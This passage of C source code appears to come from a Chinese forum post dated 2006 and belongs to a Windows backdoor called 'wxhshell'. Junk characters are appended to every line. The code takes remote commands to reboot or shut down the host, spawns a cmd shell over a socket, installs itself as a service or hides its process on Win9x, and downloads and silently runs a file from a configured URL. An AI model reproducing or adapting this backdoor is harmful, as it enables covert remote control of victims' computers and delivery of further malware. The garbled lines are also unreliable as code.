      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .[]S!@+%  
    break; Is3Y>oX  
  } &ZC{ _t  
  // 安装 \EoE/2"<  
  case 'i': { hp2E! Cma  
    if(Install()) .u#Hg'oP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ciml:"nQ  
    else m)pHCS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <_|@ ~^u  
    break; KO#kIM-  
    } lV^:2I/  
  // 卸载 e4Y+u8gT  
  case 'r': { Ezew@*(  
    if(Uninstall()) l9eTghLi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Aqf91 [c  
    else hf9i%,J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hN=kU9@knC  
    break; zNKB'hsK  
    } VpHwc!APq  
  // 显示 wxhshell 所在路径 ~< UYJc  
  case 'p': { Wc+(xk  
    char svExeFile[MAX_PATH]; JB'tc!!*  
    strcpy(svExeFile,"\n\r"); \ { QH^  
      strcat(svExeFile,ExeFile); Hkia&nz'3  
        send(wsh,svExeFile,strlen(svExeFile),0); gTTKjlI [  
    break; (VN'1a (  
    } Mpw]dYM  
  // 重启 pn(i18 x  
  case 'b': { Ce<z[?u  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R-Lpgi<a"  
    if(Boot(REBOOT)) dZ(Z]`L,B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k}<H  
    else { .@nfqv7{  
    closesocket(wsh); -nC&t~sD  
    ExitThread(0); j1{`}\e  
    } Y iuV\al  
    break; |-\anby<  
    } Y)]VlV!`  
  // 关机 iExKi1knx  
  case 'd': { X4hz\={  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); uQ[,^Ee&/  
    if(Boot(SHUTDOWN)) !*&5O~dfN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !L9|iC:8  
    else { |?0MRX0'g  
    closesocket(wsh); <eSg%6z  
    ExitThread(0); cyWb*Wv  
    } DUu:et&c1  
    break;  bV(BwWm  
    }  8(K:2  
  // 获取shell pwHe&7e#  
  case 's': { BRu}"29  
    CmdShell(wsh); I(BJ1 8F$  
    closesocket(wsh); P6>C+T1  
    ExitThread(0); ERK{smL  
    break; _ti^i\8~  
  } R>:D&$[RD  
  // 退出 6 .?0 {2s  
  case 'x': { hC<E4+5.,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k3B_M9>!  
    CloseIt(wsh); 'Bt!X^  
    break; 1nvT={'R  
    } K9&Q@3V  
  // 离开 bg0ix"  
  case 'q': { (HeSL),1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &_;=]t s  
    closesocket(wsh); `:r-&QdU o  
    WSACleanup(); GGHeC/4  
    exit(1); o(54 A['  
    break; 16I[z+RG  
        }  Y~^R^J  
  } m$_l{|4z  
  } p8.JJt^  
qu $FpOJ  
  // 提示信息 v?3xWXX,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #H Jlm1d  
} ' cS| BT  
  } (?,jnnub  
;IPk+,hpmi  
  return; Xs$a^zZ  
} L)7{_s  
HXdo:#xEO  
// shell模块句柄 :si&A;k  
int CmdShell(SOCKET sock) Z{#3-O<a+n  
{ L* 6<h  
STARTUPINFO si; w0sy@OF  
ZeroMemory(&si,sizeof(si)); JCZ&TK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,:-^O#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6=Q6J  
PROCESS_INFORMATION ProcessInfo; SV95g@  
char cmdline[]="cmd"; %t9Kc9u3p  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~tW<]l7  
  return 0; Eoo[H2=^H  
} jL 3 *m  
_m a;b<I/<  
// 自身启动模式 >U4bK^/Bp  
int StartFromService(void) r}|)oG,=  
{ L4u.cH J}0  
typedef struct wax^iL!  
{ Zcc7 7dRA  
  DWORD ExitStatus; 67Tu8I/r  
  DWORD PebBaseAddress; w+\RSqz/  
  DWORD AffinityMask; }+[!h=Bx  
  DWORD BasePriority; l9y%@7  
  ULONG UniqueProcessId; Vj)"?|V  
  ULONG InheritedFromUniqueProcessId; oOXJ7 |n  
}   PROCESS_BASIC_INFORMATION; oc-o>H  
%>O}bdSf  
PROCNTQSIP NtQueryInformationProcess; RdpOj >fT  
@k:@mzB7R  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9Y2(.~w6X  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b4ke'gx  
'P&r^V\~(/  
  HANDLE             hProcess; q}g0-Da  
  PROCESS_BASIC_INFORMATION pbi; cIuCuh0I`  
t#]VR7]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n2F*a  
  if(NULL == hInst ) return 0; "JYWsE  
f,@~@f X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pG/g  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;:)u rI?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9*?YES'6  
8Tc:TaL  
  if (!NtQueryInformationProcess) return 0; % <%r  
Hu!<GB~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `-rtU  
  if(!hProcess) return 0; $T2zs$  
xtXK3[s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; LyNur8 Zi  
f5nAD  
  CloseHandle(hProcess); ?Y$3R"p@3`  
@oMl^UYM=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wS:`c J  
if(hProcess==NULL) return 0; Yd~Tzh  
&G+:t)|S  
HMODULE hMod; dSzq}w4xY  
char procName[255]; V}G; oz&>)  
unsigned long cbNeeded; 00A2[gO9  
+$G P(Uu,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }GGH:v  
xkz`is77Y@  
  CloseHandle(hProcess); /9C>{29x!  
PF;`mdi-,  
if(strstr(procName,"services")) return 1; // 以服务启动 z#olKBs  
9kU|?JE  
  return 0; // 注册表启动 $D#eD.  
} FBI^}^#_  
d!q)FRzi  
// 主模块 fAeq(tI=  
int StartWxhshell(LPSTR lpCmdLine) _57 68G`P  
{ Gh{vExH@5(  
  SOCKET wsl; 3ry0.  
BOOL val=TRUE; 8~h.i1L  
  int port=0; QEq>zuz5;  
  struct sockaddr_in door; WAh{*$Rpl  
#c2JWDH1F  
  if(wscfg.ws_autoins) Install(); N%QVkuCbM  
l'(7p`?  
port=atoi(lpCmdLine); QPwUW  
R&s\h"=*  
if(port<=0) port=wscfg.ws_port; Ha/-v?E  
I=yy I  
  WSADATA data; B976{;QvXV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1x4{~g\  
rc]`PV  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O LxiY r  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); FDO$(&  
  door.sin_family = AF_INET; 3 +$~l5LY  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); FFqqAT5  
  door.sin_port = htons(port); H!dg(d^  
*H%Jgz,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ycve[31BDd  
closesocket(wsl); FQCz_ z  
return 1; Q>emyij  
} &8uq5uKg  
p_2-(n@  
  if(listen(wsl,2) == INVALID_SOCKET) { ( RCQbI  
closesocket(wsl); F2RU7o'f.  
return 1; 8!{F6DG  
} u >o2lvy8  
  Wxhshell(wsl); elf2!  
  WSACleanup(); p+ bT{:  
v9s /!<j  
return 0; &]Q\@;]Aq  
H[&X${ap  
} E)w^odwMU  
Mm+kG'Z!S  
// 以NT服务方式启动 fB3W} dr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y0D="2)  
{ D|p`~(  
DWORD   status = 0; {\+!@?  
  DWORD   specificError = 0xfffffff; xr*hmp1  
Cj x(Z]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J2W:Q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =N%;HfUD  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; co$I htOv  
  serviceStatus.dwWin32ExitCode     = 0; ,KHebv!  
  serviceStatus.dwServiceSpecificExitCode = 0; hI{M?LQd  
  serviceStatus.dwCheckPoint       = 0; :Ojsj_Z;;  
  serviceStatus.dwWaitHint       = 0; <k0$3&D  
& A%*sD6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ')Drv)L  
  if (hServiceStatusHandle==0) return; xu _:  
tGcp48R-:+  
status = GetLastError(); [80L|?, *  
  if (status!=NO_ERROR) e-dpk^-  
{ -5~&A6+ILn  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; pPNU0]/  
    serviceStatus.dwCheckPoint       = 0; 2/K38t'-  
    serviceStatus.dwWaitHint       = 0; Rs<li\GS  
    serviceStatus.dwWin32ExitCode     = status; CE19V:zp  
    serviceStatus.dwServiceSpecificExitCode = specificError; VgHVj)ir  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !vB8Pk"  
    return; 7r?s)ZV  
  } G G]4g)O5  
8R;)WlLu=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; D)ZGTq`(  
  serviceStatus.dwCheckPoint       = 0; 3(De> gs$  
  serviceStatus.dwWaitHint       = 0; t<Iy `r7 1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [YQVZBT|{  
} [f9U9.fR  
l cHqg  
// 处理NT服务事件,比如:启动、停止 2nL [P#r  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &> Myf@  
{ %. =B=*  
switch(fdwControl) DeTx7i0  
{ vKv!{>,v9Z  
case SERVICE_CONTROL_STOP: Lc<v4Bp  
  serviceStatus.dwWin32ExitCode = 0; TmZ% ;TN  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; g q|T:  
  serviceStatus.dwCheckPoint   = 0; cN}Aeo  
  serviceStatus.dwWaitHint     = 0; .""?k[f5Q  
  { G1t{a:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z= P]UD  
  } +9MoKn=h  
  return; `*5_`^t   
case SERVICE_CONTROL_PAUSE: z@Klj qN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; tnv @`xBn  
  break; sYQ=nL  
case SERVICE_CONTROL_CONTINUE: u|v2J/_5Y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Vz(O=w=  
  break; n&? --9r  
case SERVICE_CONTROL_INTERROGATE: z+RA  
  break; +HGPn0As  
}; 3 ZZ"mlk*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `Ap<xT0H  
} ~C|. .Z  
8.9Z0  
// 标准应用程序主函数 EDMuQu/D8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) IY Ilab\TZ  
{ sop *?0  
FaNr}$Pe  
// 获取操作系统版本 {h< V^r  
OsIsNt=GetOsVer(); Fj?gXc5{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,4O|{Iu#n  
I ,j,H z0  
  // 从命令行安装 _"b[U T}m  
  if(strpbrk(lpCmdLine,"iI")) Install(); |@6t"P]@  
l70a&[W  
  // 下载执行文件 M0+xl+c+  
if(wscfg.ws_downexe) { 9/?@2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ] LcCom:]  
  WinExec(wscfg.ws_filenam,SW_HIDE); U`G  
} X+0+ }S  
2P`Z >_  
if(!OsIsNt) { fD^$ y 8  
// 如果时win9x,隐藏进程并且设置为注册表启动 V7+fNr]I  
HideProc(); iJ&*H)}^  
StartWxhshell(lpCmdLine); K{]9Yo  
} Yo 0wufbfV  
else z( 00"ei  
  if(StartFromService()) 8>\tD  
  // 以服务方式启动 =tkO^  
  StartServiceCtrlDispatcher(DispatchTable); Mj9Mv<io  
else GkOZ =ej  
  // 普通方式启动 5]-q.A5m  
  StartWxhshell(lpCmdLine); Fv| )[>z0  
n<GTc{>Z  
return 0; aEL^N0\d  
}
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只看该作者 1 发表于: 2006-10-10
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